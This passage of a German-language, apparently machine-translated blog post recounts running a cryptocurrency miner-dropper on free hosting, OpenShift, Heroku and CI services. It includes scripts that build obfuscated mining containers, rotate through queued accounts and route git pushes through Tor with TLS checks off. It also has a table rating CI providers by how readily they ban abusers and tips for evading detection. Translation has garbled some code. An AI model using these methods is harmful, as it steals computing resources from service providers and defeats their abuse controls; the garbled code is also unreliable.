Prozesse haben auch standardmäßig ein Zeitlimit (1 Stunde, 1 Tag usw.), dafür verwenden wir einfach einen Cron-Job, der den Dropper neu startet.

Dies erforderte viel manuelle Bearbeitung, die cpanel-API, um dies zu automatisieren, ist leider nicht für Endbenutzer verfügbar, daher ist Webhosting ein klobiges und langweiliges Ziel für unseren Miner-Dropper.

Webumgebungen

Es gibt SaaS Anbieter, die einen Webeditor mit einem Container gekoppelt haben, wie z Wolke 9 , [überall Code], [Codenvy]. Die Bereitstellung des Droppers hier ist einfach (Sie haben eine vollwertige Umgebung), aber es ist eine Belastung, ihn am Laufen zu halten, da jeder interaktive Webeditor seine Sitzung kurz nach dem Schließen der Webseite beendet und der Container folglich in den Ruhezustand versetzt wird (es sei denn, Sie natürlich bezahlen).

Dies zu umgehen kann nur bedeuten, dass wir die Sitzungen offen halten müssen, einige Skripte mit [puppeteer] haben das gewünschte Ergebnis erzielt, aber lange laufende, speicherleckende, aufgeblähte SPAs-Webseiten sind definitiv unattraktiv und nicht heimlich, denn vom Provider-Backend, eine rund um die Uhr geöffnete Sitzung wird definitiv verdächtig aussehen. Tatsächlich sind Webumgebungen auch klobige und langweilige Ziele.

Kostenlose App-Dienste

Das ist hauptsächlich offene Schicht[11] und [Heroku]. Openshift war als Kubernetes etwas einfach zu implementieren, aber voller Konfigurationsschwankungen. Hier ist ein Auszug:

export PATH=.:$PATH

[ -z "$OC_PRJ" ] && { echo"no account data provided"; exit 1; }
obfs=~/utils/deploy/obfs.sh
[ -x $obfs ] ||
    { echo"obfs utility not found!"; exit 1; }
launcher=~/launcher
[ -f $launcher ] ||
    { echo"launcher script not found!"; exit 1; }

ctroot=${CT_ROOT_DIR:-oc-ct-box-mine}## the service that starts the miner is named app in /etc/services.d in the rootfs
scriptpath="rootfs/etc/services.d/app/run"
TYPE=${HRK_TYPE:-worker}
IMG=$(oc-endpoint)/$OC_PRJ/$OC_APP
tspath=/tmp/oc-tmp-apprun
prepend="#!/usr/bin/with-contenv bash
"## beware the newline ^^^cd$ctroot || { echo"couldn't find ct build directory"; exit 1; }

VARS=$(cat vars) || { echo'vars file empty!'; }
VARS=${VARS//$'\n'/ }
VARS=${VARS//\\/\\\\}## preserve escapes
script=$(cat$launcher | tail +2 | sed -r '/^echo "export \\$/a '"$VARS"' \\')
cat <<< "$script" > $tspath$obfs$tspath
[ -z "${tspath}.obfs" ] && { echo"obfs file not found?"; exit 1; }
cat <<< "$prepend$(cat "${tspath}.obfs")" > $scriptpathexec itself (should eval)
chmod +x $scriptpath

docker build -t $IMG  . || exit 1
cd -
oc-push-image "$IMG"

Dies war das Skript, das verwendet wurde, um den Mining-Container zu erstellen, der eine Yaml-Vorlage erforderte:

apiVersion:build.openshift.io/v1kind:BuildConfigmetadata:labels:build:${OC_APP}name:${OC_APP}spec:activeDeadlineSeconds:5184000failedBuildsHistoryLimit:0successfulBuildsHistoryLimit:0resources:limits:cpu:2memory:1GirunPolicy:Serialsource:type:Binarystrategy:sourceStrategy:from:kind:ImageStreamTagname:${OC_APP}-build:latestnamespace:${OC_PRJ}type:Sourcetemplate:activeDeadlineSeconds:2400triggers:-generic:secretReference:name:${OC_APP}type:Generic

Aber der ganze Prozess umfasste ziemlich viele Schritte!

## init
[ -z "$OC_APP" ] && export $(<$(tfi))
[ -z "$OC_APP" ] && { . ./choose-creds || exit 1; }
oc-login
oc new-project $OC_PRJ || { [ -z "$(oc get projects)" ] && exit 1; }
oc new-app $OC_APP --allow-missing-images || exit 1

## build box with docker and push# oc-docker-login || exit 1
oc-build-mine || exit 1

## create dc configexport OC_TEMPLATE_TYPE=mine
oc-box-template || exit 1
rtr=0
while [ $rtr -lt 10 ]; do
  oc rollout latest $OC_APP && break
  rtr=$((rtr+1))
  read -t 1
doneexit## builds
bash -x oc-build-build || exit 1
bash -x oc-build-template || exit 1
oc start-build $OC_APP || exit 1

accounts=${ACCOUNTS_DIR:-accounts_queue}mv$accounts/${OC_USR}{\.this,\.$(date +%s)}

Im Pseudocode:

Diebuild-build Skripte stattdessen erstellt a bauenContainer, der für ein paar Stunden am Stück abbauen würde. Builds und normale Pods haben in Openshift separate Ressourcen, daher haben wir beide ausgenutzt. Openshift war insgesamt eine schlechte Erfahrung, da es über 4 verschiedene Versionen ging (vielleicht mehr, ich habe nach einer Weile aufgehört zu verfolgen) und jede von ihnen erforderte Änderungen an den Konfigurationen, sie hatten keine Upgrade-Pfade und alles wurde schnell wiederholt, und es war üblich damit Builds/Pods ins Stocken geraten und nicht Müll gesammelt werden ... sie führten normalerweise ab und zu manuelle Neustarts durch, vielleicht war Kubernetes nur fehlerhaft :)

Die Heroku-Konfiguration war etwas einfacher (kein Kubernetes). Abgesehen vom Container-Build, der dem von Openshift ähnlich war, bestand der Rest nur aus zwei cli-Befehlen

heroku config:set HRK_APP=$HRK_APP -a $HRK_APP
heroku container:release -a $HRK_APP$TYPE

Der Container wurde direkt mit Docker in die Heroku-Registry geschoben.[12] Die Reibung mit heroku (das zum Zeitpunkt des Schreibens noch immer kostenlos ist) besteht darin, dass Dynos nur 22 Tage pro Monat laufen können, sodass sie jeden Monat etwas manuelles Management erforderten, was wiederum klobig und langweilig ist. Sie haben am Anfang einige Ban-Wellen durchgeführt und dann die Registrierungen über TOR deaktiviert, ich bin mir ziemlich sicher, dass ich die Ursache dafür war.

CI-Container oder VMs

Dies waren die synergetischsten Ziele für unsere Pipette. Es gibt viele CI Unternehmen, von denen viele Investoren Geld verbrennen, indem sie kostenlose Tiers anbieten, in der Hoffnung, Marktanteile im Bereich der technischen Infrastruktur zu gewinnen.

Alle diese Dienste bieten unterschiedliche Ressourcen, haben unterschiedliche Konfigurationsanforderungen und werden in unterschiedlichen Umgebungen ausgeführt. Ich habe nie daran gedacht, die Kontoregistrierung zu automatisieren, weil solche Dinge schrecklich zu programmieren sind wie anders als der Rest!). Aus dem Umgang mit Spam können Sie einige Dinge über das Management eines Unternehmens erraten:

Es gibt auch eine philosophische Frage: Wenn ein Dienst Ihnen erlaubt, sein System für lange Zeit zu missbrauchen, bedeutet dies, dass er über eine erstklassige Infrastruktur verfügt, die die Last bewältigen kann, oder einfach nur eine schlechte Kontrolle über sein System hat? Und Sie müssen das Gleichgewicht zwischen Zugänglichkeit und Sicherheit berücksichtigen. Ein zu sicheres System kann die Benutzerbindung verringern.

Hier ist eine Tabelle mit einigen Diensten, die ich bereitgestellt habe:

ciAufbauLeistungBannhammer
BitriseSchlechtMittelMittel
TravisgutMittelgut
CodeshipMittelSchlechtMittel
GitlabMittelgutgut
KreisciSchlechtgutMittel
SemaphorgutgutMittel
DockerMittelMittelgut
KaigutMittelMittel
CodefreshSchlechtgutMittel
WerckerMittelMittelSchlecht
Azure-PipelinesMittelMittelSchlecht
Kontinuierliche phpSchlechtMittelMittel
KumpelSchlechtSchlechtSchlecht
DrohneSchlechtgutSchlecht
AnerkennerSchlechtMittelSchlecht
NevercodeSchlechtgutMittel
Zeist/vercelSchlechtgutSchlecht

In diesem Zusammenhang ist a gut Konfiguration bedeutet, dass die Konfiguration nicht viel Zeit in Anspruch nahmci Job für den Mining-Prozess (wie alle Dienste, die auf ein Web-Dashboard anstelle einer Repository-Punktdatei angewiesen sind, waren eine lästige Pflicht), a Schlechtban-hammer bedeutet, dass es schwierig war, sich für den Dienst zu registrieren, oder dass Konten aggressiver gesperrt werden würden.

Bitrise erfordert, ein Projekt einzurichten, die Umgebung, die Zielarchitektur, den Ausführungsprozess und andere Dinge abzuleiten, es war sehr zeitaufwendig, einen Build einzurichten, so dass er in der Konfiguration eine schlechte Bewertung erhielt. Kontinuierliche php, Kumpel , [Codefresh] hatte auch viele manuelle, nicht deklarative Konfigurationsschritte.

Dienste wie [Azure-Pipelines], Wercker, Kumpel wendet Shadow-Bans auf die Konten an, Shadow-Bans sind schlecht, da Sie raten können, ob mit Ihrer Konfiguration etwas nicht stimmt oder nicht. Bei einigen Diensten können Sie den Grund für das Verbot erraten (ziemlich viel Zeit hat Ihr Build gedauert oder Sie haben in kurzer Zeit zu oft gebaut), bei anderen wie [Azure-Pipelines] nehme ich an, dass sie eine Art Fingerabdruck verwendet haben an die Benutzer-Repositories, da Verbote auch ohne Ressourcenmissbrauch durchkamen, Azure und Vercel ebenfalls eingeschränktDNS Zugang innerhalb öffentlicher Baumaschinen, so dass zusätzliche Reibungspunkte entstanden, die mit einem Ad-hoc-Tunnel überwunden werden mussten.

Drohne gab Zugriff auf einen ganzen Prozessor mit 16+ Kernen, wurde aber nach 2 Builds gesperrt[13]. Codeship bietet auch Zugriff auf leistungsstarke Build-Hosts und wurde nicht so aggressiv wie Drohnen gebannt.

Meine Lieblingsdienste nicht wegen der Rentabilität, sondern wegen der Einfachheit und Bequemlichkeit (auch bei anderen Projekten) waren Travis, Semaphor und Docker-Hub. Travis ist wie die Standard-CI und sehr flexibel, Semaphore ist die einzigeDSL zumCI das sah jedoch zugänglich und gut aus, anstatt nur eine endlose Abfolge von spaghettierten Kontrollkästchen wie bei anderen UIs, und Docker nur für die Einfachheit, Dockerfiles Builds zuzuordnen.

Erstellt Konfigurationen

Die Builds wurden entweder durch Cron-Jobs von Webdiensten oder durch Git-Commits ausgelöst. Sie mussten also eine Menge von Zugriffstoken oder SSH-Schlüsseln im Auge behalten, um alle Git-Commits zu verwalten. Es war auch wichtig, Commits nicht zu viel zu spammen und Proxys zu verwenden, wenn Sie an die Repositories pushen, die git konfigurieren:

[http]proxy = socks5://127.0.0.1:9050sslverify = false[https]proxy = socks5://127.0.0.1:9050sslverify = false[url "https://"]insteadOf = git://

Mit git-Hosting-Diensten war github derjenige, der Verbote gründlicher behandelte, aber sie wurden nur nach Missbrauchsmeldungen von CI-Diensten-Administratoren ausgeführt. Ich habe noch nie eine Sperre für ein Bitbucket-Konto erhalten. Um Git-Commits zu (erzwingen) zu pushen, haben wir eine lange laufende Schleife, die das Git-Repository neu taggt:

while :; do
    repos_count=$(ls -ld ${repos}/* | grep -c ^d)
    repos_ival=$(((RANDOM%variance+delay)/repos_count))
    for r in$repos/*; docd"$r"
        git fetch --all
        tagger
        echo -e "\e[32m""sleeping for $repos_ival since $(date +%H:%M:%S\ %b/%d)""\e[0m"sleep$repos_ivaldonesleep 1
done

Es ist möglich, dass Github auf diese Weise erzwungenes Pushen nicht sehr mag und ein Grund dafür sein könnte, dass Konten gemeldet werden. Die Tagger-Funktion, die damit beauftragt ist, andere Commits zu erzwingen, verwendet eine Website (die Sie ganz einfach nachschlagen können), die einige zufällige Commits liefert. Ich bin mir nicht sicher, wie sehr das hilft, da der Inhalt der Commits für meinen Fall offensichtlich verdächtig ist. Und es hat mich auch einmal in den Arsch gebissen, da die von diesem Befehl zurückgegebenen Commits Schimpfwörter enthalten können, wurde einer meiner Commits von einem Twitter-Bot abgeholt, der Git-Commits mit Schimpfwörtern verfolgt! Ich habe nach dem Vorfall eine schwarze Liste für schlechte Wörter hinzugefügt.

Ich habe mich nicht wirklich mit verschleierten Git-Commits und verschleierten Git-Repositorys befasst. Der einzige Fall, in dem ich ein aufwändigeres Repository verwendet habe, war bei Bitrise, da man keinen Build einrichten konnte, wenn das System eine Umgebung (wie mobile Apps) nicht erkannte, aber selbst dann gab es keine Rotation und es war immer gleich Repository, recht leicht zu erkennen.

Insgesamt, wenn ich eine Glockenkurve um den optimalen Zeitpunkt für meine Mine zeichnen müsste ohneDas Sperren von Konten für alle getesteten Dienste würde bei einer Center-Build-Dauer von etwa einer Stunde einmal pro Tag erfolgen. Bei CPU-Kernen erwarten die meisten Dienste, abgesehen von ein paar Ausreißern (wie Drohnen), dass Sie die volle Menge der Ihnen zur Verfügung gestellten Ressourcen nutzen, da Builds in VMs oder Containern mit eingeschränkten Ressourcen ausgeführt werden ... und die Kompilierung normalerweise eine Aufgabe ist, die sättigt die CPU, hat also keine statistische Relevanz. Intuitiv ist ein Build pro Tag das, was der durchschnittliche Entwickler tun würde. Sie sollten also mit gehissten Flaggen rechnen, wenn Sie vom Mittelwert abweichen, und das Drängen auf Missbrauch endet nie gut.

Schlussfolgerungen

War es das wert? Die Networking-Teile waren definitiv interessant, der Umgang mit Account-Registrierungen war offensichtlich der schlimmste Teil, schließlich klickt niemand gerne endlose Bestätigungs-E-Mails und wiederholte nervtötende UI-Verfahren. Spam-Automatisierungssoftware zu schreiben ist auch langweilig (weil Sie meistens in dummen APIs herumstochern), und mit dieser Annahme (und der Tatsache, dass dies nie etwas Ernstes war) habe ich es nie in Betracht gezogen. War es profitabel? Auf seinem Höhepunkt erreichte es so etwas wie300$ pro Monat, vielleicht genug für einen Venezianer, nicht wirklich für mich :)

[1] der mürrische Systemadministrator
[2]Auch wenn dies viele Datenschutzannahmen brechen würde, werfen die meisten von ihnen sicher nur einen Blick hinein, wenn ein bestehendes Problem auftritt, aber dies ist nur ein Problem für containerbasierte Laufzeiten, während VMs so ziemlich Blackboxen sind.
[3]Der in den Monero-Knoten eingebaute Miner hat einige Arbeit geleistet, um ihn hintergrundfreundlicher zu machen, aber die Verteilung von xmrig war nie auf die Hintergrundfreundlichkeit ausgerichtet.
[5]Einige Pools bieten unterschiedliche Schwierigkeiten an verschiedenen Verbindungsports und neigen dazu, die Job-Schwierigkeit an die vom Miner übermittelten Aktien auszurichten, aber die Granularität des Proxys war noch bequemer, da sie Pools verhindern würde einschließen (obwohl wir nie wirklich Pools gewechselt haben).
[4]es war nicht glücklich, als die config plötzlich auftauchte und aus dem Dateisystem verschwand
[6]Wir reden nicht über die Stratum-Protokoll da wir uns einfach mit dem beschäftigen müssen, was umgesetzt wird in beide der Pool und der Bergmann ... was normalerweise das absolute Minimum ist und möglicherweise mit nicht standardmäßigen Erweiterungen.
[7]geh niemals voll durch :)
[8]Ich habe nicht untersucht, was passiert, wenn ein Prozess zur Laufzeit zusätzliche Funktionalität lädt, da der Kernel im Speicherlayout der ausführbaren Datei nach der Adresse sucht, die auf das Dateisystem zugreifen und möglicherweise einen Absturz verursachen würde.
[9]Die Grenzen sind willkürlich, die CPU-Zeit beträgt weniger als eine Sekunde, der Arbeitsspeicher beträgt weniger als 128 MB, ausgehende Verbindungen werden blockiert.
[10]Mit etwas Geduld können Sie auch eine vollständige ssh-Instanz über eine Umgebung ausführen, die um Ihren cpanel-Kontobereich herum gebootet wird. ohne Zugriff auf das in cpanel integrierte SSH, das von Hosting-Providern in der Regel deaktiviert wird.
[11]openshift stieg von einer kostenlosen 1-Jahres-Stufe auf 3 Monate auf 1 Monat und erforderte eine Telefonauthentifizierung. Ich kann garantieren, dass ich nicht der einzige war, der ihre Dienste missbrauchte.
[12]Heroku Free-Tier-Container sind ziemlich großzügig in Bezug auf Ressourcen, sie bieten 4c/8t (virtuelle) CPU, viel RAM und großen Speicher (der jedoch nicht dauerhaft ist und beim Herunterfahren des Prüfstands verworfen wird).
[13]Sie fügen viel strengere Registrierungsregeln hinzu, nach ein paar Verboten hätte ich vielleicht dazu beigetragen.

Post-Tags: